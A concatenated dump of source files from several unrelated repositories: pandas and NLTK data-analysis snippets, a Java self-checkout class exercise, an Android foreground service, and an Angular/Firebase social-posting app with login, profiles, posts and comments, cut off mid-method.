data.iloc[0] # first row of data frame (<NAME>) - Note a Series data type output.
data.iloc[1] # second row of data frame (<NAME>)
data.iloc[-1] # last row of data frame (<NAME>)
# Columns:
data.iloc[:,0] # first column of data frame (first_name)
data.iloc[:,1] # second column of data frame (last_name)
data.iloc[:,-1] # last column of data frame (id)
# Multiple row and column selections using iloc and DataFrame
data.iloc[0:5] # first five rows of dataframe
data.iloc[:, 0:2] # first two columns of data frame with all rows
data.iloc[[0,3,6,24], [0,5,6]] # 1st, 4th, 7th, 25th row + 1st 6th 7th columns.
data.iloc[0:5, 5:8] # first 5 rows and 5th, 6th, 7th columns of data frame (county -> phone1).
# *************************************************
# USE LOC TO SELECT ROWS
# *************************************************
# Select rows with first name Ednalyn, include all columns between 'city' and 'email'
data.loc[data['first_name'] == 'Ednalyn', 'city':'email']
# Select rows where the email column ends with 'gmail.com', include all columns
data.loc[data['email'].str.endswith("gmail.com")]
# Select rows with first_name equal to some values, all columns
data.loc[data['first_name'].isin(['Ednalyn', 'Ederlyne', 'Edelyn'])]
# Select rows with first name Ednalyn and gmail email addresses
data.loc[data['email'].str.endswith("gmail.com") & (data['first_name'] == 'Ednalyn')]
# select rows with id column between 100 and 200, and just return 'zip' and 'web' columns
# *************************************************
# SELECTING COLUMNS
# *************************************************
dfx = df[['column_name',
'',
'',
'',
''
]]
# *************************************************
# DROPPING NULL VALUES
# *************************************************
df = df.dropna()
# *************************************************
# NAMING COLUMNS
# *************************************************
df.columns=['column1','column2','column3']
# *************************************************
# RENAMING COLUMNS
# *************************************************
df = df.rename(columns={'old_name':'new_name',
'':'',
'':'',
'':'',
'':''
})
# *************************************************
# DROPPING DUPLICATES
# *************************************************
# drops duplicate values in column id
dfx = df.drop_duplicates(subset ="column_id", keep = False)
# *************************************************
# SELECTING NON-NULL VALUES
# *************************************************
dfx = df.loc[df['column_name'].notnull()]
# *************************************************
# VALUE COUNTS
# *************************************************
labels = pd.concat([df.rating.value_counts(),
df.rating.value_counts(normalize=True)], axis=1)
labels.columns = ['n', 'percent']
labels
# *************************************************
# SHAPE AND LENGTH
# *************************************************
df.shape
len(some_list)
# *************************************************
# INFO AND DESCRIBE
# *************************************************
df.info()
df.describe
# *************************************************
# MERGING DATAFRAMES
# *************************************************
df_merged = df1.merge(df2,
left_on='id1',
right_on='id2',
suffixes=('_left', '_right'))
# *************************************************
# WORKING WITH TIMESTAMPS
# *************************************************
df.timestamp[:1]
dtz = []
for ts in df.timestamp:
dtz.append(parse(ts))
dtz[:10]
df['date_time_zone'] = df.apply(lambda row: parse(row.timestamp), axis=1)
df.set_index('date_time_zone', inplace=True)
# *************************************************
# DESIGNATING CSAT AND DSAT
# *************************************************
# creates a new column and designates a row as either high or low
df['csat'] = np.where(df['rating']>=3, 'high', 'low')
# *************************************************
# SPLITTING CSAT AND DSAT
# *************************************************
df_positive = df.loc[df['column_name'] == 'positive']
df_negative = df.loc[df['column_name'] == 'negative']
# *************************************************
# TRANSFORMING DF COLUMN INTO A LIST OF CLEAN WORDS
# *************************************************
my_list = df.column.tolist()
my_words = clean(''.join(str(good_list)))
# *************************************************
# N-GRAMS RANKING
# *************************************************
def get_words(df,column):
"""
Takes in a dataframe and columns and returns a list of
words from the values in the specified column.
"""
return clean(''.join(str(df[column].tolist())))
def get_unigrams(words):
"""
Takes in a list of words and returns a series of
unigrams with value counts.
"""
return pd.Series(words).value_counts()
def get_bigrams(words):
"""
Takes in a list of words and returns a series of
bigrams with value counts.
"""
return (pd.Series(nltk.ngrams(words, 2)).value_counts())[:20]
def get_trigrams(words):
"""
Takes in a list of words and returns a series of
trigrams with value counts.
"""
return (pd.Series(nltk.ngrams(words, 3)).value_counts())[:20]
def get_qualgrams(words):
"""
Takes in a list of words and returns a series of
qualgrams with value counts.
"""
return (pd.Series(nltk.ngrams(words, 4)).value_counts())[:20]
def get_ngrams(df,column):
"""
Takes in a dataframe with column name and generates a
dataframe of unigrams, bigrams, trigrams, and qualgrams.
"""
return get_bigrams(get_words(df,column)).to_frame().reset_index().rename(columns={'index':'bigram','0':'count'}), \
get_trigrams(get_words(df,column)).to_frame().reset_index().rename(columns={'index':'trigram','0':'count'}), \
get_qualgrams(get_words(df,column)).to_frame().reset_index().rename(columns={'index':'qualgram','0':'count'})
# *************************************************
# N-GRAMS VIZ
# *************************************************
def viz_bigrams(df,column):
get_bigrams(get_words(df,column)).sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8))
plt.title('20 Most Frequently Occuring Bigrams')
plt.ylabel('Bigram')
plt.xlabel('# Occurances')
ticks, _ = plt.yticks()
labels = get_bigrams(get_words(df,column)).reset_index()['index'].apply(lambda t: t[0] + ' ' + t[1]).iloc[::-1]
_ = plt.yticks(ticks, labels)
def viz_trigrams(df,column):
get_trigrams(get_words(df,column)).sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8))
plt.title('20 Most Frequently Occuring Trigrams')
plt.ylabel('Trigram')
plt.xlabel('# Occurances')
ticks, _ = plt.yticks()
labels = get_trigrams(get_words(df,column)).reset_index()['index'].apply(lambda t: t[0] + ' ' + t[1] + ' ' + t[2]).iloc[::-1]
_ = plt.yticks(ticks, labels)
def viz_qualgrams(df,column):
get_bigrams(get_words(df,column)).sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8))
plt.title('20 Most Frequently Occuring Qualgrams')
plt.ylabel('Qualgram')
plt.xlabel('# Occurances')
ticks, _ = plt.yticks()
labels = get_qualgrams(get_words(df,column)).reset_index()['index'].apply(lambda t: t[0] + ' ' + t[1] + ' ' + t[2] + ' ' + t[3] ).iloc[::-1]
_ = plt.yticks(ticks, labels)
# *************************************************
# MANUAL CRITERIA SEARCH
# *************************************************
# Create an empty list
overall_criteria_list =[]
for index, row in df.iterrows():
if ('term1' in row['column_name'] and 'term2' in row['column_name']):
overall_criteria_list .append([row.column1,
row.column2,
row.column3,
row.column4,
row.column5
])<file_sep># Dd's Code Snippets
> A simple repo to hold all my favorite code snippets for quick reference.
## Meta
<NAME> – [@ecdedios](https://github.com/ecdedios)
Distributed under the MIT license. See ``LICENSE`` for more information.
- LinkedIn: [in/ecdedios/](https://www.linkedin.com/in/ecdedios/)
- Resumé: [http://ednalyn.com](http://ednalyn.com)
- Data Science Projects [https://ddfloww.com](https://ddfloww.com)
## Contributing
1. Fork it (<https://github.com/ecdedios/code-snippets/fork>)
2. Create your feature branch (`git checkout -b feature/fooBar`)
3. Commit your changes (`git commit -am 'Add some fooBar'`)
4. Push to the branch (`git push origin feature/fooBar`)
5. Create a new Pull Request
2020
| 5f27cf6ba75dfe4015eaea2f697c90fc0ee57f4e | [
"Markdown",
"Python"
] | 2 | Python | ecdedios/code-snippets | 625863768eebb83fa0e657a2797f2cb74271fb17 | 75df17f8f8d3a0eeca5447255e3d5f6f5b250637 |
refs/heads/master | <repo_name>douglasgloverUCF/glover-cop3330-ex10<file_sep>/src/main/java/base/App.java
/*
* UCF COP3330 Summer 2021 Assignment 1 Solution
* Copyright 2021 <NAME>
*/
package base;
import java.util.Scanner;
/*
Working with multiple inputs and currency can introduce some tricky precision issues.
Create a simple self-checkout system. Prompt for the prices and quantities of three items. Calculate the subtotal of the items.
Then calculate the tax using a tax rate of 5.5%. Print out the line items with the quantity and total,
and then print out the subtotal, tax amount, and total.
Example Output
Enter the price of item 1: 25
Enter the quantity of item 1: 2
Enter the price of item 2: 10
Enter the quantity of item 2: 1
Enter the price of item 3: 4
Enter the quantity of item 3: 1
Subtotal: $64.00
Tax: $3.52
Total: $67.52
Constraints
Keep the input, processing, and output parts of your program separate. Collect the input, then do the math operations and string building,
and then print out the output.
Be sure you explicitly convert input to numerical data before doing any calculations.
Challenges
Revise the program to ensure that prices and quantities are entered as numeric values. Don’t allow the user to proceed if the value entered is not numeric.
Alter the program so that an indeterminate number of items can be entered. The tax and total are computed when there are no more items to be entered.
*/
public class App {
Scanner in = new Scanner(System.in);
public static void main(String[] args) {
App myApp = new App();
int[] price = new int[3];
int[] quantity = new int[3];
for(int i = 0; i < 3; i++) {
price[i] = myApp.getPrice(i);
quantity[i] = myApp.getQuantity(i);
}
String message = myApp.checkOut(price, quantity);
myApp.output(message);
}
int getPrice(int i)
{
System.out.print("Enter the price of item " + (i + 1) + ": ");
return in.nextInt();
}
int getQuantity(int i)
{
System.out.print("Enter the quantity of item " + (i + 1) + ": ");
return in.nextInt();
}
String checkOut(int[] price, int[] quantity)
{
double subtotal = 0;
double tax, total;
for(int i = 0; i < 3; i++) {
subtotal += price[i] * quantity[i];
}
tax = subtotal * 0.055;
total = subtotal + tax;
return String.format("""
Subtotal: $%.2f
Tax: $%.2f
Total: $%.2f
""", subtotal, tax, total);
}
void output(String message)
{
System.out.print(message);
}
}
| 6f35cae6d2892b6125fae3730eeed4af27cf1021 | [
"Java"
] | 1 | Java | douglasgloverUCF/glover-cop3330-ex10 | 100eeb472fef052487e538f8d72c00bb97ddc706 | eb5c994c496f5ea328375b1b3d22be481d79e593 |
refs/heads/master | <file_sep>package com.example.vv.broadcastandnoti;
import android.app.Notification;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.support.v4.app.NotificationCompat;
public class MyForegroundService extends Service {
public MyForegroundService() {
}
@Override
public IBinder onBind(Intent intent) {
// TODO: Return the communication channel to the service.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
Intent notificationIntent = new Intent(this, MainActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this, 0,
notificationIntent, 0);
Notification notification = new Notification.Builder(this)
.setSmallIcon(R.drawable.test)
.setContentTitle("My Awesome App")
.setContentText("Doing some work...")
.setContentIntent(pendingIntent).build();
startForeground(1337, notification);
return super.onStartCommand(intent, flags, startId);
}
}
| 0c259423abe8745e86752af6b3cee3913a2b948c | [
"Java"
] | 1 | Java | FominSergey/BroadcastAndNoti | 28d5d6a60caba83b6203e95da155a2b146ca6858 | 608927656ba854b9e666ecd9db47d37ea6dc0148 |
refs/heads/master | <file_sep>/*
* *********************************************************
* author colin
* company telchina
* email <EMAIL>
* date 18-1-9 上午8:51
* ********************************************************
*/
package com.zcolin.ui.demo;
import android.os.Bundle;
import android.support.v4.app.FragmentActivity;
import com.fosung.ui.R;
import com.zcolin.frame.util.ActivityUtil;
public class InitActivity extends FragmentActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_init);
load();
ActivityUtil.startActivity(this, MainActivity.class);
this.finish();
}
private void load() {
//TODO 加载数据
}
}
<file_sep>/*
* *********************************************************
* author colin
* company telchina
* email <EMAIL>
* date 18-1-9 上午8:51
* ********************************************************
*/
package com.zcolin.gui.helper;
import android.content.Context;
import android.util.DisplayMetrics;
import android.view.WindowManager;
/**
* 工具辅助类
*/
public class ZUIHelper {
/**
* 获取屏幕宽度(较小的宽度,横屏时为屏幕高度)
*/
public static int getSmallScreenWidth(Context context) {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
DisplayMetrics outMetrics = new DisplayMetrics();
wm.getDefaultDisplay().getMetrics(outMetrics);
int width = outMetrics.widthPixels;
int height = outMetrics.heightPixels;
return height > width ? width : height;
}
/**
* 获取屏幕宽度
*/
public static int getScreenWidth(Context context) {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
DisplayMetrics outMetrics = new DisplayMetrics();
wm.getDefaultDisplay().getMetrics(outMetrics);
return outMetrics.widthPixels;
}
/**
* 获取屏幕高度
*/
public static int getScreenHeight(Context context) {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
DisplayMetrics outMetrics = new DisplayMetrics();
wm.getDefaultDisplay().getMetrics(outMetrics);
return outMetrics.heightPixels;
}
/**
* 将px值转换为dp值
*
* @param pxValue px像素值
* @return dp
*/
public static int px2dip(Context context, float pxValue) {
final float scale = context.getResources().getDisplayMetrics().density;
return (int) (pxValue / scale + 0.5f);
}
/**
* 将dip或dp值转换为px值,保证尺寸大小不变
*/
public static int dip2px(Context context, float dipValue) {
final float scale = context.getResources().getDisplayMetrics().density;
return (int) (dipValue * scale + 0.5f);
}
}
<file_sep>/*
* *********************************************************
* author colin
* company telchina
* email <EMAIL>
* date 18-1-9 上午8:51
* ********************************************************
*/
package com.zcolin.ui.demo;
import android.app.Activity;
import android.os.Bundle;
import android.support.v4.app.FragmentActivity;
import com.fosung.ui.R;
/**
* 其他的一些View的示例
*/
public class ZKVViewActivity extends FragmentActivity {
private Activity mActivity;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_zkeyvalue);
}
}
| 7545818aacd8e17ad8c83c3f3798ad5ae0393cfd | [
"Java"
] | 3 | Java | Along-PC/ZUILib | 804d8a5dbfeb7c74df9617f11946b6d5d88d4401 | cd405a7b20a872135752eaab4f9f61220cd46043 |
refs/heads/master | <repo_name>stigsanek/directory<file_sep>/js/main.js
'use strict';
(function () {
var bodyElement = document.querySelector('body');
// Функция рендеринга всех карточек и запись объектов в массив
var workerLists = [];
var wrapperElement = bodyElement.querySelector('.wrapper');
var workerListElement = bodyElement.querySelector('.worker-list');
var insertWorker = function (data) {
var newNodeElement = null;
if (Array.isArray(data)) {
var fragmentElement = document.createDocumentFragment();
data.forEach(function (item) {
newNodeElement = window.worker.create(item);
fragmentElement.appendChild(newNodeElement);
workerLists.push(newNodeElement);
});
workerListElement.appendChild(fragmentElement);
} else {
newNodeElement = window.worker.showPhoto(data);
wrapperElement.insertAdjacentElement('afterEnd', newNodeElement);
}
};
// Функция удаления карточек из DOM
var removeWorker = function () {
workerLists.forEach(function (item) {
item.remove();
});
};
// Cортировка данных по должности, алфавиту и ренедеринг на страницу
var data = window.data.workers;
var sortData = data.sort(function (itemFirst, itemSecond) {
return (itemFirst.rang > itemSecond.rang) - (itemSecond.rang > itemFirst.rang) || (itemSecond.name < itemFirst.name) - (itemFirst.name < itemSecond.name);
});
insertWorker(sortData);
// Функции предупреждаего сообщения пользователю о возможностях поиска
var inputTextElement = bodyElement.querySelector('.main-form__search');
var modalAttentionElement = bodyElement.querySelector('#attention');
var closeAttentionElement = modalAttentionElement.querySelector('.button-close');
var overlayAttentionElement = modalAttentionElement.querySelector('.overlay');
var searchModalFlag = false;
var onInputTextFocus = function () {
modalAttentionElement.style.display = 'block';
searchModalFlag = true;
window.util.blockFocus(closeAttentionElement);
window.util.blockOverflow();
inputTextElement.removeEventListener('input', onInputTextFocus);
};
var onButtonAttentionClick = function () {
modalAttentionElement.style.display = 'none';
window.util.unblockFocus();
window.util.unblockOverflow();
};
var onModalAttentionEscPress = function (evt) {
window.util.pressEsc(evt, onButtonAttentionClick);
};
// Функция фильтрации сотрудников по отделам
var filterButtonsElement = bodyElement.querySelectorAll('.filter-button__item');
var btnAllElement = bodyElement.querySelector('#all');
var onFilterButtonClick = function (evt, departament) {
if (!searchModalFlag) {
inputTextElement.addEventListener('input', onInputTextFocus);
closeAttentionElement.addEventListener('click', onButtonAttentionClick);
overlayAttentionElement.addEventListener('click', onButtonAttentionClick);
document.addEventListener('keydown', onModalAttentionEscPress);
}
if (evt.target === btnAllElement) {
removeWorker();
insertWorker(sortData);
inputTextElement.removeEventListener('input', onInputTextFocus);
} else {
var filterData = sortData.filter(function (item) {
return item.departament === departament;
});
removeWorker();
insertWorker(filterData);
}
filterButtonsElement.forEach(function (item) {
item.classList.remove('filter-button__item--active');
});
evt.target.classList.add('filter-button__item--active');
};
filterButtonsElement.forEach(function (item) {
item.addEventListener('click', function (evt) {
onFilterButtonClick(evt, item.value);
});
});
window.main = {
render: insertWorker
};
})();
<file_sep>/js/data.js
'use strict';
(function () {
window.data = {
workers: [
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Руководство',
position: 'Директор',
rang: 1,
phone: '100',
email: '<EMAIL>',
birthday: '20.09'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Руководство',
position: 'Заместитель директора',
rang: 2,
phone: '101',
email: '<EMAIL>',
birthday: '15.02'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Руководство',
position: 'Секретарь руководителя',
rang: 3,
phone: '103',
email: '<EMAIL>',
birthday: '16.01',
secretary: 'Приемная'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Отдел продаж',
position: 'Начальник отдела',
rang: 4,
phone: '104',
email: '<EMAIL>',
birthday: '30.05'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Отдел продаж',
position: 'Менеджер по продажам',
rang: 6,
phone: '105',
email: '<EMAIL>',
birthday: '01.11'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Отдел разработки',
position: 'Начальник отдела',
rang: 4,
phone: '106',
email: '<EMAIL>',
birthday: '02.08'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Отдел разработки',
position: 'Разработчик',
rang: 6,
phone: '107',
email: '<EMAIL>',
birthday: '09.03'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Отдел кадров',
position: 'Заместитель начальника отдела',
rang: 5,
phone: '108',
email: '<EMAIL>',
birthday: '17.12'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Отдел кадров',
position: 'HR-менеджер',
rang: 6,
phone: '109',
email: '<EMAIL>',
birthday: '30.07'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Отдел аналитики',
position: 'Начальник отдела',
rang: 4,
phone: '110',
email: '<EMAIL>',
birthday: '10.04'
},
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Отдел аналитики',
position: 'Главный аналитик',
rang: 6,
phone: '111',
email: '<EMAIL>',
birthday: '13.09'
}
]
};
})();
<file_sep>/Readme.md
# Справочник сотрудников организации
Универсальный шаблон для создания справочника небольшой организации. Для использования приложения не нужен сервер, так как все данные хранятся в виде объекта JavaScript.
---
_Не обращайте внимание на файлы:_<br>
_`.editorconfig`, `.eslintrc`, `.gitignore`, `csscomb.json`, `package-lock.json`, `package.json`._
---
### Памятка по использованию
#### 1. Скопируйте репозиторий к себе на компьютер
Внесите изменения в текстовые данные разметки (файл `index.html`) для создания структуры подразделений организации. При смене названий подразделений не забудьте прописать аналогичное название в атрибуте `value` тега `<button>`.
#### 2. Для наполнения справочника сотрудниками в файле `js/data.js` сформируйте массив объектов по шаблону:
```
{
photo: 'img/photos/default_avatar.png',
name: '<NAME>',
departament: 'Руководство',
position: 'Директор',
rang: 1,
phone: '100',
email: '<EMAIL>',
birthday: '01.07'
}
```
В свойстве `photo` указывается относительный путь до файла с фотографией.
Свойство `rang` ранжируется от меньшего к большему, т.е. у самой высокой должности `rang` равен 1.
Возможно ранжирование секретарей сразу после руководителей путем проставления соответсвующего `rang` и добавлением свойства `secretary` с произвольным текстом.
#### 3. Добавьте фото сотрудников в каталог `img/photo`
По умолчанию используется стандартный аватар `default_avatar.png`.
| 47b35af90eb1c80064ecb87fcf487fe6fbd1d934 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | stigsanek/directory | 94c67fe88219f9fa7d0b5a6ca18bc2a39e699c6d | f2d3edde431e8318709c86847151a1f093d7a727 |
refs/heads/main | <repo_name>LukeNg3010/PSG-Project<file_sep>/src/app/tools/reply/reply.component.ts
import { Component, Inject, OnInit } from '@angular/core';
import { FirebaseTSFirestore, OrderBy } from 'firebasets/firebasetsFirestore/firebaseTSFirestore';
import { FirebaseTSApp } from 'firebasets/firebasetsApp/firebaseTSApp';
import { MAT_DIALOG_DATA } from '@angular/material/dialog';
import { AppComponent } from 'src/app/app.component';
@Component({
selector: 'app-reply',
templateUrl: './reply.component.html',
styleUrls: ['./reply.component.css']
})
export class ReplyComponent implements OnInit {
firestore = new FirebaseTSFirestore();
comments: Comment [] = []
constructor(@Inject(MAT_DIALOG_DATA) private postID : string) { }
ngOnInit(): void {
this.getComments();
}
isCommentCreator(comment: Comment){
return comment.creatorID == AppComponent.getUserDocument().userID;
}
getComments(){
this.firestore.listenToCollection(
{
name: "Post Comments",
path: ["Posts", this.postID,"PostComments"],
where: [new OrderBy("timestamp", "asc")],
onUpdate: (result) => {
result.docChanges().forEach(
postCommentDoc => {
if (postCommentDoc.type == "added") {
this.comments.unshift(<Comment>postCommentDoc.doc.data());
}
}
)
}
}
);
}
onSendClick(commentInput:HTMLInputElement){
if(!(commentInput.value.length >0 )) return;
this.firestore.create(
{
path:["Posts", this.postID,"PostComments"],
data: {
comment :commentInput.value,
creatorID: AppComponent.getUserDocument().userID,
creatorName:AppComponent.getUserDocument().publicName,
timestamp: FirebaseTSApp.getFirestoreTimestamp()
},
onComplete:(docID) => {
commentInput.value = "";
}
}
)
}
}
export interface Comment{
creatorID: string;
creatorName: string;
comment: string;
timestamp: firebase.default.firestore.Timestamp;
}
<file_sep>/src/app/pages/post-feed/post-feed.component.ts
import { Component, OnInit } from '@angular/core';
import { MatDialog } from '@angular/material/dialog';
import { CreatePostComponent } from 'src/app/tools/create-post/create-post.component';
import { FirebaseTSFirestore, Limit, OrderBy, Where } from 'firebasets/firebasetsFirestore/firebaseTSFirestore';
@Component({
selector: 'app-post-feed',
templateUrl: './post-feed.component.html',
styleUrls: ['./post-feed.component.css']
})
export class PostFeedComponent implements OnInit {
firestore = new FirebaseTSFirestore();
posts: PostData [] = [];
constructor(private dialog: MatDialog) { }
ngOnInit(): void {
this.getPosts();
}
onCreatePostClick(){
this.dialog.open(CreatePostComponent)
}
getPosts(){
this.firestore.getCollection(
{
path:["Posts"],
where: [
new OrderBy("timestamp", "desc"),
new Limit(10)
],
onComplete: (result) => {
result.docs.forEach(
doc => {
let post = <PostData>doc.data();
post.postID = doc.id;
this.posts.push(post);
}
)
},
onFail: err => {
}
}
)
}
}
export interface PostData{
caption: string;
creatorID: string;
imageUrl?: string;
postID:string;
}
<file_sep>/src/app/pages/home/home.component.ts
import { Component, OnInit } from '@angular/core';
import { MatBottomSheet } from '@angular/material/bottom-sheet';
import { AuthenticatorComponent } from 'src/app/tools/authenticator/authenticator.component';
@Component({
selector: 'app-home',
templateUrl: './home.component.html',
styleUrls: ['./home.component.css']
})
export class HomeComponent implements OnInit {
constructor(
private loginSheet: MatBottomSheet
) { }
ngOnInit(): void {
}
onGetStartedClick(){
this.loginSheet.open(AuthenticatorComponent)
}
}
<file_sep>/src/app/tools/authenticator/authenticator.component.ts
import { Component, OnInit } from '@angular/core';
import { FirebaseTSAuth } from 'firebasets/firebasetsAuth/firebaseTSAuth';
import { MatBottomSheetRef } from '@angular/material/bottom-sheet';
@Component({
selector: 'app-authenticator',
templateUrl: './authenticator.component.html',
styleUrls: ['./authenticator.component.css']
})
export class AuthenticatorComponent implements OnInit {
state = AuthenticatorCompState.LOGIN;
firebasetsAuth : FirebaseTSAuth;
constructor(private bottomSheetRef: MatBottomSheetRef ) {
this.firebasetsAuth = new FirebaseTSAuth()
}
ngOnInit(): void {
}
onResetClick(resetEmail: HTMLInputElement){
let email = resetEmail.value;
if (this.isNotEmpty(email)){
this.firebasetsAuth.sendPasswordResetEmail(
{
email: email,
onComplete: (err) => {
this.bottomSheetRef.dismiss();
}
}
)
}
}
onLogin(
loginEmail: HTMLInputElement,
loginPassword: HTMLInputElement
){
let email = loginEmail.value;
let password=login<PASSWORD>.value;
if (this.isNotEmpty(email) && this.isNotEmpty(password)) {
this.firebasetsAuth.signInWith(
{
email:email,
password:<PASSWORD>,
onComplete: (uc) => {
this.bottomSheetRef.dismiss();
},
onFail: (err) => {
alert (err.message);
}
}
)
}
}
onRegisterClick(
registerEmail: HTMLInputElement,
registerPassword: HTMLInputElement,
registerConfirmPassword: HTMLInputElement
){
let email = registerEmail.value;
let password = registerPassword.value;
let confirmPassword = registerConfirmPassword.value;
if(
this.isNotEmpty(email) &&
this.isNotEmpty(password) &&
this.isNotEmpty(confirmPassword) &&
this.isAMatch(password,confirmPassword)){
this.firebasetsAuth.createAccountWith(
{
email:email,
password:<PASSWORD>,
onComplete: (uc) =>{
this.bottomSheetRef.dismiss();
},
onFail: (err) => {
alert(err.message)
alert("Failed to create account")
}
}
);
}
}
isNotEmpty(text:string){
return text!=null && text.length >0;
}
isAMatch(text:string, comparedWith: string){
return text == comparedWith
}
onForgotPasswordClick(){
this.state=AuthenticatorCompState.FORGOT_PASSWORD;
}
onCreateAccountClick(){
this.state=AuthenticatorCompState.REGISTER;
}
onLoginClick(){
this.state=AuthenticatorCompState.LOGIN;
}
isLoginState(){
return this.state == AuthenticatorCompState.LOGIN;
}
isRegisterState(){
return this.state == AuthenticatorCompState.REGISTER;
}
isForgotPasswordState(){
return this.state == AuthenticatorCompState.FORGOT_PASSWORD;
}
getStateText(){
switch(this.state){
case AuthenticatorCompState.LOGIN:
return "Login";
case AuthenticatorCompState.REGISTER:
return "Register";
case AuthenticatorCompState.FORGOT_PASSWORD:
return "Forgot Password";
}
}
}
export enum AuthenticatorCompState{
LOGIN,
REGISTER,
FORGOT_PASSWORD
}
<file_sep>/src/environments/environment.prod.ts
export const environment = {
production: true,
firebaseConfig : {
apiKey: "<KEY>",
authDomain: "lukeapp-31353.firebaseapp.com",
projectId: "lukeapp-31353",
storageBucket: "lukeapp-31353.appspot.com",
messagingSenderId: "724015230891",
appId: "1:724015230891:web:b4b04e3679fa5a814b6cee"
}
};
<file_sep>/src/app/pages/email-verification/email-verification.component.ts
import { Component, OnInit } from '@angular/core';
import { FirebaseTSAuth } from 'firebasets/firebasetsAuth/firebaseTSAuth';
import { Router } from '@angular/router';
@Component({
selector: 'app-email-verification',
templateUrl: './email-verification.component.html',
styleUrls: ['./email-verification.component.css']
})
export class EmailVerificationComponent implements OnInit {
auth = new FirebaseTSAuth();
constructor(private router: Router) { }
ngOnInit(): void {
if (this.auth.isSignedIn() && !this.auth.getAuth().currentUser?.emailVerified){
this.auth.sendVerificationEmail();
}
else {
this.router.navigate([""]);
}
}
onResendClick(){
this.auth.sendVerificationEmail();
}
}
<file_sep>/src/app/tools/profile/profile.component.ts
import { Component, Input, OnInit } from '@angular/core';
import { FirebaseTSAuth } from 'firebasets/firebasetsAuth/firebaseTSAuth';
import { FirebaseTSFirestore } from 'firebasets/firebasetsFirestore/firebaseTSFirestore';
@Component({
selector: 'app-profile',
templateUrl: './profile.component.html',
styleUrls: ['./profile.component.css']
})
export class ProfileComponent implements OnInit {
@Input()
show: boolean = false;
firestore: FirebaseTSFirestore;
auth: FirebaseTSAuth;
constructor() {
this.firestore = new FirebaseTSFirestore();
this.auth = new FirebaseTSAuth();
}
ngOnInit(): void {
}
onContinueClick(
nameInput: HTMLInputElement,
descriptionInput: HTMLTextAreaElement){
let name = nameInput.value;
let description = descriptionInput.value;
this.firestore.create(
{
path:["Users",this.auth.getAuth().currentUser.uid],
data:{
publicName: name,
description: description
},
onComplete: (docId) => {
alert("Profile Created");
nameInput.value = "";
descriptionInput.value = "";
},
onFail: (err) =>{
}
}
)
}
}
<file_sep>/src/app/app.component.ts
import { Component } from '@angular/core';
import { AuthenticatorComponent } from './tools/authenticator/authenticator.component';
import { MatBottomSheet } from '@angular/material/bottom-sheet';
import { FirebaseTSAuth } from 'firebasets/firebasetsAuth/firebaseTSAuth';
import { Router } from '@angular/router';
import { FirebaseTSFirestore } from 'firebasets/firebasetsFirestore/firebaseTSFirestore';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
title = 'LukeProject';
auth = new FirebaseTSAuth();
firestore = new FirebaseTSFirestore();
userHasProfile = true;
private static userDocument: UserDocument;
constructor(private loginSheet: MatBottomSheet, private router: Router){
this.auth.listenToSignInStateChanges(
user => {
this.auth.checkSignInState(
{
whenSignedIn: user => {
},
whenSignedOut: user => {
AppComponent.userDocument = null;
},
whenSignedInAndEmailNotVerified: user => {
this.router.navigate(["emailVerification"])
},
whenSignedInAndEmailVerified: user => {
this.getUserProfile();
},
whenChanged: user => {}
}
)
}
)
}
public static getUserDocument(){
return AppComponent.userDocument;
}
getUsername(){
return AppComponent.userDocument.publicName;
}
getUserProfile(){
this.firestore.listenToDocument(
{
name:"Getting Document",
path:["Users",this.auth.getAuth().currentUser.uid],
onUpdate: (result) => {
AppComponent.userDocument = <UserDocument>result.data()
this.userHasProfile = result.exists
AppComponent.userDocument.userID = this.auth.getAuth().currentUser.uid;
if(this.userHasProfile){
this.router.navigate(["postfeed"]);
}
}
}
);
}
loggedIn(){
return this.auth.isSignedIn();
}
onLogoutClick(){
this.auth.signOut();
}
onLoginClick(){
this.loginSheet.open(AuthenticatorComponent)
}
}
export interface UserDocument {
publicName: string;
description: string;
userID: string;
}
<file_sep>/src/app/tools/create-post/create-post.component.ts
import { Component, OnInit } from '@angular/core';
import { FirebaseTSAuth } from 'firebasets/firebasetsAuth/firebaseTSAuth';
import { FirebaseTSFirestore } from 'firebasets/firebasetsFirestore/firebaseTSFirestore';
import { FirebaseTSStorage } from 'firebasets/firebasetsStorage/firebaseTSStorage';
import { FirebaseTSApp } from 'firebasets/firebasetsApp/firebaseTSApp';
import { MatDialogRef } from '@angular/material/dialog';
@Component({
selector: 'app-create-post',
templateUrl: './create-post.component.html',
styleUrls: ['./create-post.component.css']
})
export class CreatePostComponent implements OnInit {
selectedImageFile: File;
auth = new FirebaseTSAuth();
firestore = new FirebaseTSFirestore();
storage = new FirebaseTSStorage();
constructor(private dialog: MatDialogRef<CreatePostComponent>) { }
ngOnInit(): void {
}
onPostClick(captionInput:HTMLTextAreaElement){
let caption = captionInput.value;
if(caption.length<=0) return;
if (this.selectedImageFile){
this.uploadVideoPost(caption);
}
else {
